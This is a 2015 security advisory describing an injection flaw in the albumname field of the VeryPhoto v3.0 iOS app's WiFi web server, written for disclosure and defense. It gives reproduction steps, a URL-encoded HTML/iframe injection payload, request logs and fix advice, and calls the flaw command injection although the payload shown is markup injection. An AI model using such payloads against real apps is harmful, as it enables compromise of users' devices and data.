Document Title: =============== VeryPhoto v3.0 iOS - Command Injection Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1401 Release Date: ============= 2015-01-13 Vulnerability Laboratory ID (VL-ID): ==================================== 1401 Common Vulnerability Scoring System: ==================================== 5.6 Product & Service Introduction: =============================== VeryPhoto Pro is your side of the most powerful local album management software that allows you to easily manage your massive photos, while giving you an unprecedented user experience. No in-app purchase, no functional limitations. album password - effectively protect your privacy. multi-touch browsing - Personalized operation allows you to have a different user experience. professional photo editing features - lets you easily have a professional-grade graphics processing technology. (Copy of the Vendor Homepage: https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a local command inject web vulnerability in the official VeryPhoto v3.0 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-13: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Cheng Chen Product: VeryPhoto - iOS Web Application (WiFi) 3.0 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local command inject web vulnerability has been discovered in the official VeryPhoto v3.0 iOS mobile web-application. The vulnerability allows remote attackers to inject own commands by usage of stored manipulated system/device values to compromise the apple mobile iOS application. The command inject vulnerability is located in the vulnerable `albumname` value of the `HTTP Wifi Server`. Local attackers are able to inject own malicious system specific commands or path value requests by usage of the vulnerable `albumname` value. The execution of the command occurs in the `VeryPhoto - File Dir Index Listing` of the http wifi interface application. Attackers are able to manipulate the local albumname values by of the iOS default photo app by rename to execute the commands. The attack vector is located on the application-side and the injection requires physical device access or a local low privileged device user account. Local attackers are also able to exploit the albumname validation issue in combination with persistent injected script codes. The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.6. Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to compromise the mobile iOS application and the connected device components. Request Method(s): [+] [Sync] Vulnerable Module(s): [+] Album Vulnerable Parameter(s): [+] albumname Affected Module(s): [+] VeryPhoto - File Dir Index Listing (http://localhost:8080/) Proof of Concept (PoC): ======================= The local command inject web vulnerability can be exploited by local attackers (network) without privileged application user account or user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the VeryPhoto Pro Album v3.0 iOS application (https://itunes.apple.com/de/app/veryphoto-pro-album-password/id720810114) 2. Open in the device menu the default photo album app of apple (iphone/ipad) 3. Add a new album and change the name to local command that should be injected 4. Save the settings and open the VeryPhoto Pro Album application 5. Start the Wifi service 6. Surf with a local network device to the local web-server (localhost:8080) Note: The execution of the command inject occurs after the wifi interface index has been visited. The vulnerable value that executes the command is the albumname. 7. Successful reproduce of the local command inject web vulnerability! PoC: Albumname - File Dir Index </script><tr><td height="170" width="150"><p align="center"> <img src="getCoverImage?%7B%22name%22:%22%5C%22%3E%3C[LOCAL COMMAND INJECTION VULNERABILITY!]img%20src=%5C%22x%5C%22%3E%2520%3Ciframe%20src=a%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22 assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('0')" border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"><p align="center"> <img src="getCoverImage?%7B%22name%22:%22Camera%20Roll%22,%22type%22:%222%22,%22groupType%22:16,%22url%22:%22assets-library://group/?id=70169F06-36C7-430C-AA4F-55B95E268426%22, %22numberOfImage%22:%223%22%7D" onclick="albumClick('1')" border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"> <p align="center"><img src="getCoverImage?%7B%22name%22:%22My%20Photo%20Stream%22,%22type%22:%222%22,%22groupType%22:32,%22url%22:%22 assets-library://group/?id=F8476D51-E4C9-4A2A-948B-2D577719B9C7&filter=1537%22,%22numberOfImage%22:%220%22%7D" onclick="albumClick('2')" border="0" height="150" width="170"></p></td><td height="170" width="50"></td><td height="170" width="150"></td></tr><tr><td height="20"> <p align="center"><font size="2" face="Courier New">"><img src="x">%20<iframe src="a">>(0)</font></td><td height="20" width="50"></td> <td height="20" > <p align="center"><font face="Courier New" size="2">Camera Roll(3)</font></td><td height="20" width="50"></td><td height="20" > <p align="center"><font face="Courier New" size="2">My Photo Stream(0)</font></td><td height="20" width="50"></td><td height="20" > <p align="center"></td></tr><tr><td height="20" colspan="7"></td></tr> </table> </div> --- PoC Session Logs [GET] (Execution) --- Status: 200[OK] GET http://192.168.2.104:8080/getCoverImage?%7B%22name%22:%22%5C%22%3E%3Cimg%20src=%5C%22x%5C%22%3E%2520%3Ciframe%20src=a%3E%3E%22,%22type%22:%222%22,%22groupType%22:2,%22url%22:%22assets-library://group/?id=7BADE58E-C286-43D8-8CE2-4415C4DF35CA&filter=1537%22,%22numberOfImage%22:%220%22%7D Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[3813] Mime Type[image/x-jpg] Request Header: Host[192.168.2.104:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104:8080/] Connection[keep-alive] Cache-Control[max-age=0] Response Header: Accept-Charset[utf-8] Content-Length[3813] Content-Type[image/x-jpg] Connection[close] - Response Status: OK[200] GET http://192.168.2.104:8080/x[LOCAL COMMAND INJECTION VULNERABILITY!] Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[unknown] Mime Type[unknown] Request Header: Host[192.168.2.104:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104:8080/] Reference(s): http://localhost:8080/x http://localhost:8080/getCoverImage Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure encode and parse of the vulnerable `albumname` value. Restrict the albumname value and disallow special charsi to prevent application-side injection attacks. Encode in the file dir index listing the vulnerable output value to prevent the execution of local commands. Security Risk: ============== The security risk of the local command inject web vulnerability in the albumname is estimated as medium. (CVSS 5.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a permission. Copyright © 2015 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@xxxxxxxxxxxxxxxxxxxxx PGP KEY: http://www.vulnerability-lab.com/keys/admin@xxxxxxxxxxxxxxxxxxxxx%280x198E9928%29.txt